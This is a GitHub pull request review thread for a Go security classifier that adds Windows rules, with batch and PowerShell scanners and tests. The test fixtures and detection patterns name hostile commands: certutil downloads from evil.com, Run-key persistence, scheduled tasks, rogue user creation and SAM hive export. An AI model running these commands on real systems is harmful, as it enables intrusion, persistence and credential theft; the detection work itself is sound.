feat: win security rules - #14
Merged
Merged
Conversation
This comment has been minimized.
This comment has been minimized.
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (1)
WalkthroughAdds Windows-focused detection: PowerShell and Batch scanners, expanded shell normalization and basename extraction, new Windows builtin and hardcoded policy rules, classifier logic to evaluate raw/compound PowerShell patterns with policy merging, extensive tests/fixtures, and a worktree setup script with tests. Changes
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. Comment |
Review Summary by QodoWindows security intelligence wave 1: downloads, LOLBins, persistence, and audit gap fixes
WalkthroughsDescription• Add comprehensive Windows security intelligence rules covering downloads, LOLBins, persistence, and credential theft • Implement PowerShell and batch file scanning with signal detection for dangerous patterns • Extend shell type detection to recognize PowerShell aliases, type literals, and Windows utilities • Add raw command pre-normalization checks to preserve Windows path backslashes during classification • Expand safe command conditionals for Windows tools (certutil, sc, reg) with argument validation Diagramflowchart LR
A["Windows Commands"] --> B["Shell Type Detection"]
B --> C["PowerShell/CMD Parsing"]
C --> D["Pre-normalization Rules"]
D --> E["Hardcoded Blocks"]
E --> F["Builtin Rules"]
F --> G["File Inspection"]
G --> H["Signal Analysis"]
H --> I["Decision Output"]
A --> J["PowerShell Aliases"]
J --> B
A --> K["Windows Utilities"]
K --> B
G --> L["PowerShell Scanner"]
G --> M["Batch Scanner"]
L --> H
M --> H
File Changes1. internal/core/classify.go
|
Code Review by Qodo
1. Root-level fuse_test package
|
Codecov Report❌ Patch coverage is Additional details and impacted files@@ Coverage Diff @@
## main #14 +/- ##
==========================================
+ Coverage 72.15% 74.43% +2.27%
==========================================
Files 79 84 +5
Lines 9330 10154 +824
==========================================
+ Hits 6732 7558 +826
+ Misses 2038 2037 -1
+ Partials 560 559 -1 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request implements comprehensive Windows support for the fuse security classifier. Key changes include new scanners for PowerShell and Batch scripts, expanded shell type detection to handle Windows-specific utilities and aliases, and a robust set of new policy rules targeting Windows-specific threats such as LOLBins, Defender tampering, AMSI bypasses, and credential theft. Additionally, the PR introduces conditional safety checks for common Windows commands like certutil, sc, and reg. Feedback was provided regarding a security bypass in the certutil safety logic where the presence of a safe flag could incorrectly validate a command containing dangerous flags.
Comment on lines
+226
to
+234
| func isCertutilSafe(fields []string) bool { | ||
| for _, field := range fields[1:] { | ||
| switch strings.ToLower(field) { | ||
| case "-hashfile", "-verify", "-dump", "-store", "-viewstore": | ||
| return true | ||
| } | ||
| } | ||
| return false | ||
| } |
There was a problem hiding this comment.
The current implementation of isCertutilSafe is insecure. It returns true if any safe flag is present, which allows an attacker to bypass security checks by appending a safe flag to a dangerous command (e.g., certutil -urlcache -f http://evil.com/payload.exe -hashfile). The logic should instead block known dangerous LOLBin verbs/flags and only return true if a safe verb is identified and no dangerous ones are present.
func isCertutilSafe(fields []string) bool {
hasSafeVerb := false
for _, field := range fields[1:] {
lower := strings.ToLower(field)
// Block known dangerous LOLBin flags/verbs.
if lower == "-decode" || lower == "decode" ||
lower == "-encode" || lower == "encode" ||
lower == "-urlcache" || lower == "urlcache" ||
lower == "-ping" || lower == "ping" {
return false
}
// Check for safe verbs.
switch lower {
case "-hashfile", "hashfile", "-verify", "verify", "-dump", "dump", "-store", "store", "-viewstore", "viewstore":
hasSafeVerb = true
}
}
return hasSafeVerb
}![qodo-code-review[bot]](https://avatars.githubusercontent.com/in/484649?s=60&v=4){kind=small}
Comment on lines
+1
to
+11
| //go:build !windows | ||
|
|
||
| package fuse_test | ||
|
|
||
| import ( | ||
| "os" | ||
| "os/exec" | ||
| "path/filepath" | ||
| "strings" | ||
| "testing" | ||
| ) |
There was a problem hiding this comment.
1. Root-level fuse_test package 📘 Rule violation ⚙ Maintainability
A new Go test file introduces the fuse_test package at the repository root, which is outside internal/ and not an entrypoint under cmd/fuse/. This violates the repository layout rule intended to prevent exposing non-entry packages publicly.
Agent Prompt
## Issue description
A new Go test file is placed at repo root (`worktree_setup_test.go`) and declares `package fuse_test`, which creates a non-entry Go package outside `internal/`.
## Issue Context
Per repo layout rules, only the entrypoint may live outside `internal/` (under `cmd/fuse/`). Tests should be relocated so they don't create root-level packages.
## Fix Focus Areas
- worktree_setup_test.go[1-145]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
![kody-ai[bot]](https://avatars.githubusercontent.com/in/413034?s=60&v=4){kind=small}
There was a problem hiding this comment.
Found critical issues please review the requested changes
- The
isCertutilSafefunction incorrectly approves commands containing both safe and dangerous flags, creating a security bypass. - Applying case-insensitive matching to all commands allows security bypasses for case-sensitive commands like
giton Linux. - The test case for
reg exportincorrectly expects the command to be safe, but since it writes to a file, it should be considered unsafe for consistency. - A hardcoded password
P@ssw0rd!was found in a test script, violating the rule against storing secrets in source code.
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 12
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
internal/core/shelltype.go (1)
139-180:⚠️ Potential issue | 🟠 MajorUse a quote-aware normalized basename for the first-token checks.
strings.Fieldssplits"C:\Program Files\PowerShell\7\pwsh.exe"at the space, and the raw token still includes.exewhen users callcertutil.exe,reg.exe,sc.exe, etc. That makes the explicit-wrapper and Windows-utility paths fall back to Bash on non-Windows hosts, which also prevents the raw-policy recovery ininternal/core/classify.gofrom kicking in for commands without backslashes.💡 Suggested normalization
- first := strings.ToLower(fields[0]) + first := strings.ToLower(strings.TrimSuffix(extractBasename(command), ".exe"))🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/core/shelltype.go` around lines 139 - 180, The first-token checks use strings.Fields and then the raw token (first) which can contain quotes or path components causing mismatches; normalize the token by trimming surrounding quotes, taking the basename, and lowercasing it before comparisons. Specifically, after obtaining fields[0], compute a normalized token by calling strings.Trim(fields[0], `"'`), then filepath.Base(...) on that result, and finally strings.ToLower(...) and use that normalized value in checks against knownCmdlets, knownPowerShellAliases, windowsCommandUtilities, cmdOnlyBuiltins and the explicit wrapper checks (so symbols to update include the local variable first, the initial fields := strings.Fields(command) usage, and the comparisons returning ShellCMD/ShellPowerShell); add an import for path/filepath if not present.internal/core/inspect.go (1)
216-233:⚠️ Potential issue | 🟠 Major
cmd /c script.batstill won't reach the new batch scanner.
DetectReferencedFileadds PowerShell handling, but there is still nocmd/cmd.exebranch, socmd /c install.batandcmd.exe /c install.cmdfall through without extracting the referenced file. The same invoker matching is also brittle for Windows casing and absolute paths, soPowerShell.EXEandC:\...\pwsh.exevariants are easy to miss.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/core/inspect.go` around lines 216 - 233, The switch on invoker (in DetectReferencedFile) misses cmd/cmd.exe and is case-sensitive; update the code so invoker := strings.ToLower(filepath.Base(parts[0])) and add a case for "cmd" and "cmd.exe" that calls extractFile(args, []string{".bat", ".cmd"}, []string{"/c", "/k", "/s"}); keep other shells as-is and fall back to detectExecutablePath(parts[0]) so absolute paths (e.g., C:\...\pwsh.exe) and different casing (PowerShell.EXE) are handled correctly.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@internal/core/classify.go`:
- Around line 338-340: The current check only assigns rawPolicyMatch when the
policy result (pr) has matched==true, which discards builtin dry-run-only hits;
change the conditional around evaluatePolicyRules so that rawPolicyMatch is set
when either pr.matched is true or pr contains non-empty dry-run matches (e.g.,
check pr.DryRunMatches or equivalent field) — update both places that call
evaluatePolicyRules (the blocks that set rawPolicyMatch) to preserve the result
when pr has dry-run matches even if matched==false.
- Around line 280-294: The two early-return branches that match
rePowerShellDownloadContentIEX and rePowerShellDownloadPipeIEX set
result.Decision = DecisionBlocked and hardcode builtin rule IDs, bypassing
policy evaluation so global_dryrun and tag_overrides never apply; update these
branches to call EvaluateBuiltins (or the existing policy evaluation path) with
the matched rule IDs and assign result based on that evaluation instead of
directly setting DecisionBlocked, Reason, RuleID and returning — alternatively,
if these patterns must ignore policy, move them into the hardcoded layer;
reference rePowerShellDownloadContentIEX, rePowerShellDownloadPipeIEX,
EvaluateBuiltins, DecisionBlocked and the
"builtin:windows:iex-webrequest-content"/"builtin:windows:pipe-to-iex" IDs when
making the change.
In `@internal/core/normalize.go`:
- Around line 149-152: The current guard before calling filepath.Base on
firstToken only skips tokens starting with "[" but still runs for parenthesized
PowerShell expressions (e.g., "(New-Object...") causing loss of content; update
the condition around the strings.Contains(...) && !strings.HasPrefix(firstToken,
"[") check to also skip tokens that start with "(" (and keep the existing checks
for "[" and any other PowerShell markers like "::" or "([") so that when
firstToken begins with "(" you do not normalize or call filepath.Base on it;
locate the logic handling firstToken, strings.Contains(firstToken, "/") ||
strings.Contains(firstToken, `\`), and filepath.Base to apply this change.
In `@internal/core/safecmds.go`:
- Around line 226-234: isCertutilSafe currently returns SAFE as soon as it sees
any allow-listed switch, allowing mixed allow/deny invocations to slip through;
change isCertutilSafe to only return true if every switch (fields[1:]) present
is in the allow-list and at least one switch exists. Specifically, iterate all
fields after the command, normalize with strings.ToLower, reject (return false)
if any token starting with "-" is not one of the allow-listed values
("-hashfile","-verify","-dump","-store","-viewstore"), and only return true if
you saw at least one allow-listed switch and no disallowed switches; otherwise
return false. Reference: function isCertutilSafe and its fields parameter.
In `@internal/inspect/batch.go`:
- Around line 24-29: The generic LOLBin regex that includes certutil causes all
certutil uses to be tagged "lolbin" and thus escalated by
inferDecisionFromSignals; remove certutil from that generic pattern (or add a
negative lookahead) so certutil is only matched by the specific certutil pattern
(`(?i)\bcertutil\b.*\s-(decode|urlcache)\b`) and other allow-listed certutil
modes are not upgraded to "lolbin"; update the entry that currently contains
certutil (the
`{`(?i)\b(certutil|bitsadmin|mshta|regsvr32|rundll32|wscript|cscript|forfiles)\b`,
"lolbin"}` line) accordingly.
- Around line 56-60: ScanBatch currently scans physical lines independently
which allows evasion via caret (^) line continuations; before performing the
REM/:: skipping and regex checks in ScanBatch, pre-process the incoming content
([]byte) to reconstruct logical lines by joining any line that ends with a
trailing caret continuation (handle optional trailing spaces before the caret
and remove the caret+newline, preserving a single space between tokens), then
run the existing comment stripping and regex matching on these reconstructed
logical lines (update the processing used by the patterns around the current
multi-token checks in ScanBatch so schtasks/reg and other multi-token patterns
cannot be split across physical lines).
In `@internal/inspect/powershell.go`:
- Around line 19-42: The pattern table in init (the defs slice) never matches
destructive PowerShell cmdlets like Remove-Item -Recurse -Force or
Format-Volume; update the defs slice to add regex entries that detect
Remove-Item with -Recurse and -Force (e.g., a case-insensitive pattern for
\bRemove-Item\b.*\b-Recurse\b.*\b-Force\b) and another for \bFormat-Volume\b
(and any common aliases), and map them to the appropriate category (e.g.,
"destructive" or "wipe"); modify the same defs variable so InspectFile will emit
signals for these destructive commands.
In `@internal/policy/builtins_windows_security.go`:
- Around line 121-128: The predicate for the "builtin:windows:reg-add-general"
rule is too broad because strings.Contains(lower, `\run`) will match keys like
`HKCU\Software\Runtime`; update the Predicate in builtins_windows_security.go to
use a boundary-aware regex (the same logic as the persistence rule e.g.
`\\Run(Once)?(\s|$|\\)`) instead of strings.Contains so only genuine Run/RunOnce
keys are excluded; ensure you apply the regex against the lower variable (or
normalize appropriately) and return the negated regex match as the predicate
result.
In `@internal/policy/hardcoded_test.go`:
- Around line 349-351: The registry hive test strings use doubled backslashes in
the raw string literals (`reg save HKLM\\SAM`, `reg save HKLM\\SYSTEM`, `reg
save HKLM\\SECURITY`, and `reg save HKLM\\SOFTWARE`) which yields two literal
backslashes at runtime and therefore tests malformed input; update those test
case literals to use a single backslash (e.g., `reg save HKLM\SAM`, `reg save
HKLM\SYSTEM`, `reg save HKLM\SECURITY`, `reg save HKLM\SOFTWARE`) so the test
commands match real Windows syntax and the pattern exercises correct input.
In `@internal/policy/hardcoded.go`:
- Around line 323-335: The two hardcoded Pattern regexes for event log clearing
and registry hive export currently only match bare "wevtutil" and "reg"; update
those regexp.MustCompile patterns to also accept the .exe form by adding an
optional (?:\.exe)? after the command names (mirror the existing style used in
the lsass/procdump pattern). Specifically change the Pattern matching
`(?i)\b(Clear-EventLog|wevtutil\s+cl)\b` to include `wevtutil(?:\.exe)?\s+cl`
and change the Pattern matching `(?i)\breg\s+save\s+.*\\(SAM|SYSTEM|SECURITY)\b`
to `(?i)\breg(?:\.exe)?\s+save\s+.*\\(SAM|SYSTEM|SECURITY)\b` so calls like
`wevtutil.exe cl` and `reg.exe save` are caught by the non-overridable policy.
In `@scripts/setup-worktree.sh`:
- Around line 58-69: The safety check uses git status with
--untracked-files=normal so ignored files are not detected and can be deleted by
rm -rf "$target_path"; update the check around the status variable (where
status="$(git status ... -- "$name")") to also detect ignored files (for example
by using git status --porcelain=v1 --untracked-files=all or by running git
ls-files --others -i --exclude-standard or git check-ignore on "$target_path")
and if any ignored files are present treat the path as having local changes and
refuse to remove it (i.e., print the same error and exit before reaching rm -rf
"$target_path").
---
Outside diff comments:
In `@internal/core/inspect.go`:
- Around line 216-233: The switch on invoker (in DetectReferencedFile) misses
cmd/cmd.exe and is case-sensitive; update the code so invoker :=
strings.ToLower(filepath.Base(parts[0])) and add a case for "cmd" and "cmd.exe"
that calls extractFile(args, []string{".bat", ".cmd"}, []string{"/c", "/k",
"/s"}); keep other shells as-is and fall back to detectExecutablePath(parts[0])
so absolute paths (e.g., C:\...\pwsh.exe) and different casing (PowerShell.EXE)
are handled correctly.
In `@internal/core/shelltype.go`:
- Around line 139-180: The first-token checks use strings.Fields and then the
raw token (first) which can contain quotes or path components causing
mismatches; normalize the token by trimming surrounding quotes, taking the
basename, and lowercasing it before comparisons. Specifically, after obtaining
fields[0], compute a normalized token by calling strings.Trim(fields[0], `"'`),
then filepath.Base(...) on that result, and finally strings.ToLower(...) and use
that normalized value in checks against knownCmdlets, knownPowerShellAliases,
windowsCommandUtilities, cmdOnlyBuiltins and the explicit wrapper checks (so
symbols to update include the local variable first, the initial fields :=
strings.Fields(command) usage, and the comparisons returning
ShellCMD/ShellPowerShell); add an import for path/filepath if not present.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 39a6a5b9-647e-4c45-838f-68ebeb598930
📒 Files selected for processing (26)
internal/core/classify.gointernal/core/classify_winshell_test.gointernal/core/inspect.gointernal/core/inspect_test.gointernal/core/normalize.gointernal/core/normalize_test.gointernal/core/safecmds.gointernal/core/safecmds_test.gointernal/core/shelltype.gointernal/core/shelltype_test.gointernal/inspect/batch.gointernal/inspect/batch_test.gointernal/inspect/powershell.gointernal/inspect/powershell_test.gointernal/policy/builtins_windows_download.gointernal/policy/builtins_windows_lolbin.gointernal/policy/builtins_windows_security.gointernal/policy/hardcoded.gointernal/policy/hardcoded_test.gointernal/policy/policy_test.gointernal/policy/rule_tags.gojustfilescripts/setup-worktree.shspecs/windows-support-plan.mdtestdata/fixtures/commands.yamlworktree_setup_test.go
php-workx
pushed a commit
that referenced
this pull request
Apr 1, 2026
This comment has been minimized.
This comment has been minimized.
There was a problem hiding this comment.
Actionable comments posted: 2
♻️ Duplicate comments (2)
internal/inspect/batch_test.go (1)
24-57:⚠️ Potential issue | 🟠 MajorReplace password-like literals in batch fixtures with neutral placeholders.
Line 24, Line 41, and Line 56 still contain password-like values (
P@ssw0rd!/dummyP@ssw0rd!). These can trigger secret-scanner/policy violations and are unnecessary for the detection intent.Suggested patch
-:: net user evil P@ssw0rd! /add +:: net user evil placeholder-password /add @@ - REM net user evil dummyP@ssw0rd! /add + REM net user evil placeholder-password /add @@ -net user evil P@ssw0rd! /add +net user evil placeholder-password /add🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/inspect/batch_test.go` around lines 24 - 57, Replace hardcoded password-like literals in the batch test fixtures with neutral placeholders: update the byte slices used in TestScanBatch_CommentSkipping_REMVariants (the content variable containing "dummyP@ssw0rd!") and TestScanBatch_DetectsWindowsSignals (the content variable containing "P@ssw0rd!") to use non-secret values like "PASSWORD_PLACEHOLDER" or "neutral-password" so the tests keep intent but no real-looking passwords remain; ensure matches/assertions remain valid after replacing literals.internal/core/safecmds.go (1)
206-227:⚠️ Potential issue | 🔴 CriticalGate the Windows-only SAFE rules on detected Windows shell context.
The only production call site (
internal/core/classify.go:728-742) passes justbasenameandcmd, so thesecertutil/sc/reg/remove-item/pathcases now run on every platform. On POSIX, a repo-localsc queryorcertutil -hashfile ...can be classified SAFE even though these predicates were meant for CMD/PowerShell. Please scope these cases to detected Windows shell execution before approving them.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/core/safecmds.go` around lines 206 - 227, The Windows-specific safe checks (cases for "certutil", "sc", "reg", "remove-item", "path", and the CMD "set"/"time"/"date" logic) must only run when the command is known to be executed in a Windows shell; update the switch in safecmds.go to first detect Windows shell context (e.g., via an existing context/shell indicator or by adding a small helper like isWindowsShellExecution(ctxOrCmd)) and only evaluate isCertutilSafe, isSCSafe, isRegSafe, isRemoveItemSafe and the CMD-specific len(fields) checks when that helper returns true; otherwise fall back to the default false so POSIX binaries like local "sc" or "certutil" are not marked SAFE.
🧹 Nitpick comments (1)
internal/core/classify_winshell_test.go (1)
528-551: Minor: Consider thread-safety for stateful test evaluator.The
firstCallOnlyDryRunEvaluatorhas mutable state (callscounter) without synchronization. While this works correctly because tests don't uset.Parallel()and each test creates its own instance, if parallelism were added later, this could cause race conditions undergo test -race.This is fine for the current usage but worth noting if parallel test execution is planned.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/core/classify_winshell_test.go` around lines 528 - 551, The test evaluator firstCallOnlyDryRunEvaluator mutates the calls counter in EvaluateBuiltins without synchronization, which can race if tests run in parallel; make the state thread-safe by replacing the int calls with a concurrent-safe primitive (e.g., use sync/atomic's uint32/uint64 and atomic.AddUint32/LoadUint32) or protect access with a sync.Mutex, or refactor to a stateless approach (e.g., inject a function or flag) so EvaluateBuiltins no longer relies on unsynchronized shared state.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@internal/inspect/batch_test.go`:
- Around line 5-108: The PR needs to include the actual test run artifacts
requested in the review: run the test suite with the race detector and coverage
for the package containing ScanBatch (e.g., run CGO_ENABLED=1 go test -race
./internal/inspect -v -coverprofile=coverage.out), capture and attach the full
terminal output of that command plus the generated coverage report (use go tool
cover -func=coverage.out to show per-function and total coverage and optionally
go tool cover -html=coverage.out for an HTML report); add these outputs to the
PR (or CI job artifacts) and confirm the coverage percentage for ScanBatch
(~92.9%) and that no race warnings occurred.
In `@worktree_setup_test.go`:
- Around line 13-57: The CI/test invocation for the new tests
(TestSetupWorktreeLinksSharedDirectories and
TestSetupWorktreeRefusesIgnoredTicketsFiles) must include the Go race detector
and produce coverage; update the CI job or package test script that runs these
tests (the job that invokes go test for the package containing
runWorktreeCmd/runWorktreeCmdErr) to run: go test -race
-coverprofile=coverage.out ./... (or at least for this package) and ensure
coverage is uploaded/recorded; if you have a local verification command in
README or a Makefile target, add a target like "test-race-coverage" that runs go
test -race -covermode=atomic -coverprofile=coverage.out for the package
containing TestSetupWorktree..., and reference runWorktreeCmd/runWorktreeCmdErr
in the commit message so maintainers know which tests were affected.
---
Duplicate comments:
In `@internal/core/safecmds.go`:
- Around line 206-227: The Windows-specific safe checks (cases for "certutil",
"sc", "reg", "remove-item", "path", and the CMD "set"/"time"/"date" logic) must
only run when the command is known to be executed in a Windows shell; update the
switch in safecmds.go to first detect Windows shell context (e.g., via an
existing context/shell indicator or by adding a small helper like
isWindowsShellExecution(ctxOrCmd)) and only evaluate isCertutilSafe, isSCSafe,
isRegSafe, isRemoveItemSafe and the CMD-specific len(fields) checks when that
helper returns true; otherwise fall back to the default false so POSIX binaries
like local "sc" or "certutil" are not marked SAFE.
In `@internal/inspect/batch_test.go`:
- Around line 24-57: Replace hardcoded password-like literals in the batch test
fixtures with neutral placeholders: update the byte slices used in
TestScanBatch_CommentSkipping_REMVariants (the content variable containing
"dummyP@ssw0rd!") and TestScanBatch_DetectsWindowsSignals (the content variable
containing "P@ssw0rd!") to use non-secret values like "PASSWORD_PLACEHOLDER" or
"neutral-password" so the tests keep intent but no real-looking passwords
remain; ensure matches/assertions remain valid after replacing literals.
---
Nitpick comments:
In `@internal/core/classify_winshell_test.go`:
- Around line 528-551: The test evaluator firstCallOnlyDryRunEvaluator mutates
the calls counter in EvaluateBuiltins without synchronization, which can race if
tests run in parallel; make the state thread-safe by replacing the int calls
with a concurrent-safe primitive (e.g., use sync/atomic's uint32/uint64 and
atomic.AddUint32/LoadUint32) or protect access with a sync.Mutex, or refactor to
a stateless approach (e.g., inject a function or flag) so EvaluateBuiltins no
longer relies on unsynchronized shared state.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: dc0a48a5-9d8f-4179-89f8-b84de960def7
📒 Files selected for processing (22)
internal/core/classify.gointernal/core/classify_winshell_test.gointernal/core/inspect.gointernal/core/inspect_test.gointernal/core/normalize.gointernal/core/normalize_test.gointernal/core/safecmds.gointernal/core/safecmds_test.gointernal/core/shelltype.gointernal/core/shelltype_test.gointernal/inspect/batch.gointernal/inspect/batch_test.gointernal/inspect/powershell.gointernal/inspect/powershell_test.gointernal/policy/builtins_windows_lolbin.gointernal/policy/builtins_windows_security.gointernal/policy/hardcoded.gointernal/policy/hardcoded_test.gointernal/policy/policy_test.goscripts/setup-worktree.shtestdata/fixtures/commands.yamlworktree_setup_test.go
✅ Files skipped from review due to trivial changes (2)
- internal/policy/hardcoded.go
- internal/core/safecmds_test.go
🚧 Files skipped from review as they are similar to previous changes (11)
- internal/core/normalize_test.go
- internal/policy/hardcoded_test.go
- internal/inspect/powershell_test.go
- internal/inspect/batch.go
- scripts/setup-worktree.sh
- internal/inspect/powershell.go
- internal/core/inspect.go
- internal/core/shelltype_test.go
- internal/core/classify.go
- internal/core/shelltype.go
- testdata/fixtures/commands.yaml
Comment on lines
+5
to
+108
| func TestScanBatch_SafeScript(t *testing.T) { | ||
| content := []byte(`@echo off | ||
| setlocal | ||
| echo hello | ||
| dir C:\Windows | ||
| `) | ||
|
|
||
| signals := ScanBatch(content) | ||
| if len(signals) != 0 { | ||
| t.Errorf("expected 0 signals for safe batch content, got %d:", len(signals)) | ||
| for _, s := range signals { | ||
| t.Logf(" line %d: category=%s match=%q", s.Line, s.Category, s.Match) | ||
| } | ||
| } | ||
| } | ||
|
|
||
| func TestScanBatch_CommentSkipping(t *testing.T) { | ||
| content := []byte(`@echo off | ||
| REM certutil -decode payload.b64 payload.exe | ||
| :: net user evil P@ssw0rd! /add | ||
| echo safe | ||
| `) | ||
|
|
||
| signals := ScanBatch(content) | ||
| if len(signals) != 0 { | ||
| t.Errorf("expected 0 signals for commented-out batch content, got %d:", len(signals)) | ||
| for _, s := range signals { | ||
| t.Logf(" line %d: category=%s match=%q", s.Line, s.Category, s.Match) | ||
| } | ||
| } | ||
| } | ||
|
|
||
| func TestScanBatch_CommentSkipping_REMVariants(t *testing.T) { | ||
| content := []byte(`@REM certutil -decode payload.b64 payload.exe | ||
| REM | ||
| REM certutil -decode payload.b64 payload.exe | ||
| REM net user evil dummyP@ssw0rd! /add | ||
| `) | ||
|
|
||
| signals := ScanBatch(content) | ||
| if len(signals) != 0 { | ||
| t.Fatalf("expected 0 signals for REM variants, got %#v", signals) | ||
| } | ||
| } | ||
|
|
||
| func TestScanBatch_DetectsWindowsSignals(t *testing.T) { | ||
| content := []byte(`@echo off | ||
| certutil -decode payload.b64 payload.exe | ||
| reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /d C:\Temp\evil.exe | ||
| schtasks /create /tn Evil /tr C:\Temp\evil.exe /sc onlogon | ||
| del /s /q C:\Temp\logs\* | ||
| net user evil P@ssw0rd! /add | ||
| netsh advfirewall firewall add rule name="evil" dir=in action=allow program="C:\Temp\evil.exe" | ||
| `) | ||
|
|
||
| signals := ScanBatch(content) | ||
| if len(signals) == 0 { | ||
| t.Fatal("expected signals for malicious batch content, got 0") | ||
| } | ||
|
|
||
| categories := batchSignalCategories(signals) | ||
| expectedCategories := []string{"lolbin", "registry_modify", "persistence", "destructive_fs", "user_modify", "firewall_modify"} | ||
| for _, cat := range expectedCategories { | ||
| if !categories[cat] { | ||
| t.Errorf("expected category %q in signals, not found", cat) | ||
| } | ||
| } | ||
|
|
||
| t.Logf("found %d signals:", len(signals)) | ||
| for _, s := range signals { | ||
| t.Logf(" line %d: category=%s match=%q", s.Line, s.Category, s.Match) | ||
| } | ||
| } | ||
|
|
||
| func TestScanBatch_ReconstructsCaretContinuation(t *testing.T) { | ||
| content := []byte(`@echo off | ||
| schtasks ^ | ||
| /create /tn Evil /tr C:\Temp\evil.exe /sc onlogon | ||
| reg ^ | ||
| add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /d C:\Temp\evil.exe | ||
| `) | ||
|
|
||
| signals := ScanBatch(content) | ||
| categories := batchSignalCategories(signals) | ||
| if !categories["persistence"] { | ||
| t.Fatalf("expected persistence signals with caret continuation, got %#v", signals) | ||
| } | ||
| if !categories["registry_modify"] { | ||
| t.Fatalf("expected registry_modify with caret continuation, got %#v", signals) | ||
| } | ||
| } | ||
|
|
||
| func TestScanBatch_CertutilAllowlistedModeNotEscalated(t *testing.T) { | ||
| content := []byte(`@echo off | ||
| certutil -hashfile payload.exe SHA256 | ||
| `) | ||
|
|
||
| signals := ScanBatch(content) | ||
| for _, s := range signals { | ||
| if s.Category == "lolbin" { | ||
| t.Fatalf("expected no lolbin signal for allow-listed certutil mode, got %#v", signals) | ||
| } | ||
| } | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# First, locate the test file and check its structure
echo "=== Checking test file existence ==="
find . -name "batch_test.go" -type f
# Check if go is available and repo structure
echo -e "\n=== Repository structure ==="
ls -la .
head -20 go.mod 2>/dev/null || echo "No go.mod found"Repository: php-workx/fuse
Length of output: 2803
🏁 Script executed:
#!/bin/bash
# Run tests with race detector for batch_test.go
echo "=== Running tests with race detector ==="
cd . && go test -race ./internal/inspect -run Batch -v 2>&1 | head -100
echo -e "\n=== Checking test coverage ==="
go test -coverprofile=/tmp/batch_coverage.out ./internal/inspect -run Batch 2>&1
go tool cover -func=/tmp/batch_coverage.out 2>&1 | grep -E "(batch|coverage)"Repository: php-workx/fuse
Length of output: 515
🏁 Script executed:
#!/bin/bash
# Check the source file that these tests are testing
echo "=== Checking source file batch.go ==="
find . -name "batch.go" -type f | grep -v test
head -50 ./internal/inspect/batch.go 2>/dev/null || echo "File not found or error reading"Repository: php-workx/fuse
Length of output: 1660
Provide test results with coverage report and race detector output as part of this PR.
The new tests in batch_test.go run successfully with good coverage (92.9% for ScanBatch). Per coding guidelines, attach the output from go test -race ./internal/inspect -v and coverage report to document test quality. Ensure cgo is enabled in your test environment to support the race detector.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@internal/inspect/batch_test.go` around lines 5 - 108, The PR needs to include
the actual test run artifacts requested in the review: run the test suite with
the race detector and coverage for the package containing ScanBatch (e.g., run
CGO_ENABLED=1 go test -race ./internal/inspect -v -coverprofile=coverage.out),
capture and attach the full terminal output of that command plus the generated
coverage report (use go tool cover -func=coverage.out to show per-function and
total coverage and optionally go tool cover -html=coverage.out for an HTML
report); add these outputs to the PR (or CI job artifacts) and confirm the
coverage percentage for ScanBatch (~92.9%) and that no race warnings occurred.
Comment on lines
+13
to
+57
| func TestSetupWorktreeLinksSharedDirectories(t *testing.T) { | ||
| scriptPath := worktreeScriptPath(t) | ||
| repoRoot, worktreeRoot := newWorktreeFixture(t) | ||
|
|
||
| beforeTickets := mustLstat(t, filepath.Join(worktreeRoot, ".tickets")) | ||
| if beforeTickets.Mode()&os.ModeSymlink != 0 { | ||
| t.Fatal("expected .tickets to start as a real directory") | ||
| } | ||
| if _, err := os.Lstat(filepath.Join(worktreeRoot, ".agents")); !os.IsNotExist(err) { | ||
| t.Fatalf("expected .agents to be absent before setup, got err=%v", err) | ||
| } | ||
|
|
||
| runWorktreeCmd(t, worktreeRoot, "bash", scriptPath) | ||
|
|
||
| assertSymlinkTarget(t, filepath.Join(worktreeRoot, ".agents"), filepath.Join(repoRoot, ".agents")) | ||
| assertSymlinkTarget(t, filepath.Join(worktreeRoot, ".tickets"), filepath.Join(repoRoot, ".tickets")) | ||
|
|
||
| status := strings.TrimSpace(runWorktreeCmd(t, worktreeRoot, "git", "status", "--short")) | ||
| if status != "" { | ||
| t.Fatalf("expected clean status after setup, got:\n%s", status) | ||
| } | ||
| } | ||
|
|
||
| func TestSetupWorktreeRefusesIgnoredTicketsFiles(t *testing.T) { | ||
| scriptPath := worktreeScriptPath(t) | ||
| _, worktreeRoot := newWorktreeFixture(t) | ||
|
|
||
